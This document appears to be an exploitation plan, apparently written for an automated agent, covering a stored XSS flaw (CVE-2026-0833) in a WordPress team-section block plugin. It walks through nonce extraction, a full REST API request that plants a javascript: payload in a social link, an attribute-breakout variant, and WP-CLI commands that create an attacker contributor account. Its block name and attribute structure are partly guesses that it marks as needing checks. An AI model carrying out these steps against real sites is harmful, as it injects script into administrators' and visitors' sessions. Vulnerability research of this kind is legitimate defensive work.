Exploitation Research Plan: CVE-2026-0833

1. Vulnerability Summary

The Team Section Block plugin (versions <= 2.0.0) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to sanitize or escape user-provided URLs for social network links within the "Team Section" Gutenberg block. When a user with Contributor-level permissions or higher adds a team member and provides a malicious URL (e.g., using the javascript: protocol), the script is stored in the post content and executed in the context of any user (including administrators) who views the published post or a preview.

2. Attack Vector Analysis

• Endpoint: /wp-json/wp/v2/posts (WordPress REST API) or /wp-admin/post.php.
• Vulnerable Parameter: The block's attribute containing social network links (e.g., socialLinks, link, or url within the block's JSON metadata).
• Authentication Required: Authenticated user with Contributor role or higher.
• Preconditions: The plugin must be active, and the attacker must have permission to create or edit posts.

3. Code Flow (Inferred)

1. Input Registration: The plugin registers a Gutenberg block using register_block_type in PHP or registerBlockType in JavaScript.
2. Data Storage: When a post is saved, the block's attributes (including the social media URLs) are serialized into the post_content within HTML comments: <!-- wp:team-section/member {"socialLinks":[{"url":"PAYLOAD"}]} -->.
3. Rendering (Sink):
   • If the block is dynamic: The render_callback function (e.g., render_team_member_block) retrieves the url attribute and echoes it directly into an <a> tag's href attribute without using esc_url().
   • If the block is static: The save() function in the block's JavaScript produces HTML where the href is not properly sanitized during the editor's save process.
4. Execution: A victim views the post; the browser interprets the javascript: protocol in the href or breaks out of the attribute using quotes (e.g., " onmouseover="alert(1)).

4. Nonce Acquisition Strategy

Since the attack requires Contributor-level access to save a post via the REST API, a valid REST API nonce (wp_rest) is required.

1. Identify Shortcode/Block: The plugin uses the block name (likely team-section/team-section or team-section/block).
2. Setup Page: Create a temporary page with the block to ensure all scripts and nonces are loaded.
   • wp post create --post_type=page --post_status=publish --post_content='<!-- wp:team-section/block /-->' --post_author=[CONTRIBUTOR_ID]
3. Extraction:
   • Navigate to /wp-admin/post-new.php or the created page as the Contributor user.
   • Use browser_eval to extract the REST nonce from the WordPress heartbeats or localized scripts:
     • browser_eval("wpApiSettings.nonce")
     • Alternatively, look for the _wpnonce in the settings: browser_eval("wp.utils.getCookie('wp-auth')") (though wpApiSettings is the standard for REST).

5. Exploitation Strategy

The goal is to create a post containing a Team Section Block with an XSS payload in a social link.

Step 1: Authenticate
Login as a Contributor user.

Step 2: Obtain REST Nonce
Access the WordPress dashboard and extract the _wpnonce for the REST API.

Step 3: Submit Malicious Post
Send a POST request to the REST API to create a post with the XSS payload.

• URL: http://[TARGET]/wp-json/wp/v2/posts
• Method: POST
• Headers:
  • Content-Type: application/json
  • X-WP-Nonce: [EXTRACTED_NONCE]
• Body (JSON):

{
  "title": "Meet the Team",
  "status": "publish",
  "content": "<!-- wp:team-section/block {\"members\":[{\"name\":\"Innocent Member\",\"socials\":[{\"icon\":\"fa-facebook\",\"url\":\"javascript:alert(document.domain)\"}]}]} -->\n<div class=\"wp-block-team-section-block\">...</div>\n<!-- /wp:team-section/block -->"
}

(Note: The exact block name team-section/block and attribute structure members -> socials -> url should be verified by inspecting the plugin's block.json or JS files.)

Step 4: Trigger XSS
Navigate to the permalink of the newly created post. Click or hover over the social media icon (depending on the payload).

6. Test Data Setup

1. Role: Ensure a user with the contributor role exists.
   • wp user create attacker attacker@example.com --role=contributor --user_pass=password123
2. Plugin Configuration: No specific settings are usually required other than the plugin being active.

7. Expected Results

• The REST API should return a 201 Created status.
• When viewing the post, the HTML source for the social link should look like:
  <a href="javascript:alert(document.domain)" ...>
• If esc_url() was used, the href would be empty or correctly escaped, preventing execution.

8. Verification Steps

1. Check Post Content via CLI:
   wp post get [POST_ID] --field=post_content
   Confirm the javascript: payload exists in the raw content.
2. Check Frontend Output:
   Use http_request to fetch the post and grep for the payload:
   grep "javascript:alert" response_body.html

9. Alternative Approaches

• Attribute Breakout: If the javascript: protocol is blocked by a weak filter, try breaking out of the href attribute:
  • Payload: \" onmouseover=\"alert(1)
  • Resulting HTML: <a href="\" onmouseover=\"alert(1)" ...>
• Classic Editor: If the REST API is restricted, try a classic admin-ajax.php or post.php submission by mimicking a form save, though Gutenberg is the primary target for this plugin.